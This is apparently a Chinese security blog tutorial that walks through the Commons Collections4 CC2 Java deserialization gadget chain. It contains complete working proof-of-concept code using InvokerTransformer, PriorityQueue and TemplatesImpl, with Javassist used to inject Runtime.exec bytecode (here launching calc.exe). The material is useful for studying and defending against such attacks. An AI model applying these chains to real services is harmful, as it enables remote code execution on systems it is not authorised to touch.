CC2利用链中TransformingComparator类实现了compare方法

图片

该方法中调用了this.transformer.transform()方法,看到这里,就有点熟悉了,this.transformer又是我们可控的,后面的理解和CC1差不多了

POC1分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class Test1 {
public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class}, new String[] {"calc.exe"}),
};

Transformer transformerChain = new ChainedTransformer(transformers);
TransformingComparator Tcomparator = new TransformingComparator(transformerChain);
PriorityQueue queue = new PriorityQueue(1, Tcomparator);

queue.add(1);
queue.add(2);

try{
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("cc2.txt"));
outputStream.writeObject(queue);
outputStream.close();
System.out.println(barr.toString());

ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("cc2.txt"));
inputStream.readObject();
}catch(Exception e){
e.printStackTrace();
}
}
}

代码1

通过反射获取Runtime对象;

1
2
3
4
5
6
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class}, new String[] {"calc.exe"}),
};

代码2
当调用ChainedTransformer的transformer方法时,对transformers数组进行回调,从而执行命令;

将transformerChain传入TransformingComparator,从而调用transformer方法;

new一个PriorityQueue对象,传入一个整数参数,且传入的数值不能小于1,再将Tcomparator传入。

1
2
3
Transformer transformerChain = new ChainedTransformer(transformers);
TransformingComparator Tcomparator = new TransformingComparator(transformerChain);
PriorityQueue queue = new PriorityQueue(1, Tcomparator);

代码3
前面说到,size的值要大于1,所以向queue中添加两个元素。

1
2
queue.add(1);
queue.add(2);

添加上序列化和反序列化代码后,能成功执行命令,但是没有生成序列化文件,也就是没有cc2.txt
调试代码看一看,跟进PriorityQueue类,这里comparator参数是我们传入的Tcomparator

图片

继续跟,跟进queue.add(2),调用了offer方法;

图片

跟进offer方法,进入else分支,调用了siftUp方法;

图片

跟进siftUp方法,comparator参数不为null,进入if分支,调用siftUpUsingComparator方法

图片

继续跟,来到重点代码

图片

跟进,这里会执行两次命令

图片

但是return的值为0,程序就结束了,并没有执行POC后面序列化和反序列化的代码。

那么如何让return不为0呢。

既然调用siftUpUsingComparator方法会出错,那试试调用siftUpComparable方法,即comparator参数为null,修改代码,不传入comparator参数

1
PriorityQueue queue = new PriorityQueue(1);

再调试看看;
这下comparator参数就为null;

图片

照样进入queue.add(2),到siftUp方法,就进入else分支,调用siftUpComparable方法

图片

这样就只是单纯给queue[1]赋值,并不会调用compare方法

图片

返回后就执行序列化代码,但是并没有执行命令,还要改进;

代码4

上面修改后的代码没有调用到compare方法,我们可以在向queue中添加元素后,通过反射将Tcomparator传入到queue的comparator参数;

1
2
3
Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
field.setAccessible(true);
field.set(queue,Tcomparator);

这样comparator参数就不为null,当反序列化时调用readObject方法时就会进入siftDownUsingComparator方法,调用compare方法,从而执行命令。
图片

完整POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class Test1 {
public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class}, new String[] {"calc.exe"}),
};

Transformer transformerChain = new ChainedTransformer(transformers);
TransformingComparator Tcomparator = new TransformingComparator(transformerChain);
PriorityQueue queue = new PriorityQueue(1);

queue.add(1);
queue.add(2);

Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
field.setAccessible(true);
field.set(queue,Tcomparator);

try{
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("cc2.txt"));
outputStream.writeObject(queue);
outputStream.close();
System.out.println(barr.toString());

ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("cc2.txt"));
inputStream.readObject();
}catch(Exception e){
e.printStackTrace();
}
}
}

Javassit补充

简述:

Javassist是一个开源的分析、编辑和创建Java字节码的类库,可以直接编辑和生成Java生成的字节码。

能够在运行时定义新的Java类,在JVM加载类文件时修改类的定义。

Javassist类库提供了两个层次的API,源代码层次和字节码层次。源代码层次的API能够以Java源代码的形式修改Java字节码。字节码层次的API能够直接编辑Java类文件。

下面大概讲一下POC中会用到的类和方法:

ClassPool

ClassPool是CtClass对象的容器,它按需读取类文件来构造CtClass对象,并且保存CtClass对象以便以后使用,其中键名是类名称,值是表示该类的CtClass对象。

常用方法:

  • static ClassPool getDefault():返回默认的ClassPool,一般通过该方法创建我们的ClassPool;
  • ClassPath insertClassPath(ClassPath cp):将一个ClassPath对象插入到类搜索路径的起始位置;
  • ClassPath appendClassPath:将一个ClassPath对象加到类搜索路径的末尾位置;
  • CtClass makeClass:根据类名创建新的CtClass对象;
  • CtClass get(java.lang.String classname):从源中读取类文件,并返回对CtClass 表示该类文件的对象的引用;
  • CtClass*

CtClass类表示一个class文件,每个CtClass对象都必须从ClassPool中获取。

常用方法:

  • void setSuperclass(CtClass clazz):更改超类,除非此对象表示接口;
  • byte[] toBytecode():将该类转换为类文件;
  • CtConstructor makeClassInitializer():制作一个空的类初始化程序(静态构造函数);
  • 示例代码*
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import javassist.*;

public class javassit_test {

public static void createPerson() throws Exception{
//实例化一个ClassPool容器
ClassPool pool = ClassPool.getDefault();
//新建一个CtClass,类名为Cat
CtClass cc = pool.makeClass("Cat");
//设置一个要执行的命令
String cmd = "System.out.println(\"javassit_test succes!\");";
//制作一个空的类初始化,并在前面插入要执行的命令语句
cc.makeClassInitializer().insertBefore(cmd);
//重新设置一下类名
String randomClassName = "EvilCat" + System.nanoTime();
cc.setName(randomClassName);
//将生成的类文件保存下来
cc.writeFile();
//加载该类
Class c = cc.toClass();
//创建对象
c.newInstance();
}

public static void main(String[] args) {
try {
createPerson();
} catch (Exception e){
e.printStackTrace();
}
}
}

新生成的类是这样子的,其中有一块static代码;
图片

当该类被实例化的时候,就会执行static里面的语句;

利用链2分析

在ysoserial的cc2中引入了 TemplatesImpl 类来进行承载攻击payload,需要用到javassit;

先给出POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class Test2 {

public static void main(String[] args) throws Exception{

Constructor constructor = Class.forName("org.apache.commons.collections4.functors.InvokerTransformer").getDeclaredConstructor(String.class);
constructor.setAccessible(true);
InvokerTransformer transformer = (InvokerTransformer) constructor.newInstance("newTransformer");

TransformingComparator Tcomparator = new TransformingComparator(transformer);
PriorityQueue queue = new PriorityQueue(1);

ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = pool.makeClass("Cat");
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");";
cc.makeClassInitializer().insertBefore(cmd);
String randomClassName = "EvilCat" + System.nanoTime();
cc.setName(randomClassName);
//cc.writeFile();
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
byte[] classBytes = cc.toBytecode();
byte[][] targetByteCodes = new byte[][]{classBytes};

TemplatesImpl templates = TemplatesImpl.class.newInstance();
setFieldValue(templates, "_bytecodes", targetByteCodes);
setFieldValue(templates, "_name", "blckder02");
setFieldValue(templates, "_class", null);

Object[] queue_array = new Object[]{templates,1};
Field queue_field = Class.forName("java.util.PriorityQueue").getDeclaredField("queue");
queue_field.setAccessible(true);
queue_field.set(queue,queue_array);

Field size = Class.forName("java.util.PriorityQueue").getDeclaredField("size");
size.setAccessible(true);
size.set(queue,2);



Field comparator_field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
comparator_field.setAccessible(true);
comparator_field.set(queue,Tcomparator);

try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc2.bin"));
outputStream.writeObject(queue);
outputStream.close();

ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc2.bin"));
inputStream.readObject();
}catch(Exception e){
e.printStackTrace();
}
}

public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}

public static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
}
catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}
}

代码1
通过反射实例化InvokerTransformer对象,设置InvokerTransformer的methodName为newTransformer

1
2
3
Constructor constructor = Class.forName("org.apache.commons.collections4.functors.InvokerTransformer").getDeclaredConstructor(String.class);
constructor.setAccessible(true);
InvokerTransformer transformer = (InvokerTransformer) onstructor.newInstance("newTransformer");

代码2
实例化一个TransformingComparator对象,将transformer传进去;

实例化一个PriorityQueue对象,传入不小于1的整数,comparator参数就为null;

1
2
TransformingComparator Tcomparator = new TransformingComparator(transformer);
PriorityQueue queue = new PriorityQueue(1);

代码3
这里就要用到javassit的知识;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
//实例化一个ClassPool容器
ClassPool pool = ClassPool.getDefault();
//向pool容器类搜索路径的起始位置插入AbstractTranslet.class
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
//新建一个CtClass,类名为Cat
CtClass cc = pool.makeClass("Cat");
//设置一个要执行的命令
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");";
//制作一个空的类初始化,并在前面插入要执行的命令语句
cc.makeClassInitializer().insertBefore(cmd);
//重新设置一下类名,生成的类的名称就不再是Cat
String randomClassName = "EvilCat" + System.nanoTime();
cc.setName(randomClassName);
//将生成的类文件保存下来
cc.writeFile();
//设置AbstractTranslet类为该类的父类
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
//将该类转换为字节数组
byte[] classBytes = cc.toBytecode();
//将一维数组classBytes放到二维数组targetByteCodes的第一个元素
byte[][] targetByteCodes = new byte[][]{classBytes};

这段代码会新建一个类,并添加了一个static代码块
代码4

使用TemplatesImpl的空参构造方法实例化一个对象;

再通过反射对个字段进行赋值,为什么要这样赋值下面再说;

1
2
3
4
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setFieldValue(templates, "_bytecodes", targetByteCodes);
setFieldValue(templates, "_name", "blckder02");
setFieldValue(templates, "_class", null);

代码5
新建一个对象数组,第一个元素为templates,第二个元素为1;

然后通过反射将该数组传到queue中;

1
2
3
4
Object[] queue_array = new Object[]{templates,1};
Field queue_field = Class.forName("java.util.PriorityQueue").getDeclaredField("queue");
queue_field.setAccessible(true);
queue_field.set(queue,queue_array);

代码6
通过反射将queue的size设为2,与POC1中使用两个add的意思一样;

1
2
3
Field size = Class.forName("java.util.PriorityQueue").getDeclaredField("size");
size.setAccessible(true);
size.set(queue,2);

代码6
通过反射给queue的comparator参数赋值;

1
2
3
Field comparator_field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
comparator_field.setAccessible(true);
comparator_field.set(queue,Tcomparator);

PriorityQueue.readObject()方法看起,queue变量就是我们传入的templates和1,size也是我们传入的2;
图片

跟进siftDown方法,comparator参数就是我们传入的TransformingComparator实例化的对象

图片

到TransformingComparator的compare方法,obj1就是我们传入的templates, 这里的this.transformer就是我们传入的transformer

图片

跟到InvokerTransformer.transform(),input就是前面的obj1,this.iMethodName的值为传入的newTransformer,因为newTransformer方法中调用到了getTransletInstance方法

图片

接着调用templates的newTransformer方法,而templates是TemplatesImpl类的实例化对象,也就是调用了TemplatesImpl.newTransformer()

跟踪该方法;

图片

继续跟踪getTransletInstance方法;

进行if判断,_name不为空,_class为空,才能进入defineTransletClasses方法;

这就是代码4中赋值的原因;

图片

跟进defineTransletClasses方法;

图片

_bytecodes也不能为null,是我们传入的targetByteCodes,也就是代码3的内容

继续往下

通过loader.defineClass将字节数组还原为Class对象,_class[0]就是javassit新建的类

图片

再获取它的父类,检测父类是否为ABSTRACT_TRANSLET,所以代码3中要设置AbstractTranslet类为新建类的父类;

_transletIndex赋值为0后,返回到getTransletInstance方法,创建_class[_transletIndex]的对象